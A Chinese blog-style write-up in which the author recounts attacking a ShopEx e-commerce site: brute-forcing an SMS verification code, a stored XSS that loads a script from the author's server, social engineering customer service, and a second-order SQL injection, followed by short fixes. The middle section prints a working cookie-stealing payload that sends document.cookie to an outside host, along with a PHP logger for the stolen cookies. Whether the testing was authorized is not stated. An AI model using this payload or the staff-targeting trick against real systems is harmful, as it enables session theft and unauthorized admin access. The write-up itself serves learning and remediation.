快毕业了,最近在整理大学四年的相关知识,发现原来两年前的自己比现在有劲头。
两年前对shopex网站进行了测试,有好几处漏洞。
整理时发现了当时的记录文档,可能过程不够详细,只讲了大概的思路。
相关知识点:
验证码爆破
XSS拿cookie
社会工程学
Sql二阶注入
一.
好了,开始。二话不说先注册一个账号.
登录后提示可以绑定手机,那就绑呗,先填自己的手机测试,发来了5位验证码并提示3分钟内有效。
那还用说么,肯定是试着爆破验证码呗 , 设置线程每秒1000个,两分钟左右就出来了
继续测试验证码的有效时间,发现远远超过3分钟..... 3分钟内有效可能只是在演戏....
这个漏洞可以让人通过爆破验证码绑定任意手机号。
二.
之后就看到了个人信息修改,想到了什么?
当然是来一发存储型xss测试,输入有javascript设置的限制,直接抓包该数据就行。
插入成功
既然能成功。那就可以利用构造XSS来盗取cookie,具体可百度。
最后构造语句:
"<script src="http://X.X.X.X/jquery/jquery.js"></script>"
让它向指定的服务器发起请求。
插入成功。
返回的源代码:
在这样我们可以在自己的服务器上构造恶意js,让xss来访问,然后执行jquery.js里的代码。
在jquery.js里写:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://X.X.X.X/save/save.php?test='+encodeURIComponent(document.cookie);
(之所以要多此一举写个jquery.js是因为这样既隐蔽,又可以随时修改jquery.js中的内容来达到想要的效果)。
语句是向指定服务器的save.php发送cookie
在指定服务器上写一个简单保存cookie的php
<?php
$cookie=$_GET['test'];
$fp = fopen("123.txt", "a");
fwrite($fp, $cookie);
fwrite($fp,"-----分隔------");
fclose($fp);
?>
三.
当然,这条语句是为了盗cookie,要别人浏览才会触发,那就开始最最简单的社会工程学吧
装作有困难向客服咨询。
OK.
拿到了客服的cookie,就能登上一个简易的后台。。。
四.
从sql注入角度,网站虽然不存在动态交互页面,似乎没有sql注入点,但注册时的姓名地址等栏只用javascript做了过滤,并没有在服务器上验证,猜测存在二阶sql注入。
拦截改包,注册用户名test’进行测试。
注册成功,没有报错,说明’被转义,继续测试,使用注册的账号进行登陆.
返回错误信息,爆出表结构,说明存在注入点。
之所以会这样是因为单引号在出库的时候没有转义。
好的,就写到这吧。
至于修复:
1.验证码需要限制提交的错误次数。
2.XSS需要过滤敏感词
3.社会工程学方面需要重视员工的安全意识培训。
3.二阶注入那需要对查询出库的数据进行过滤。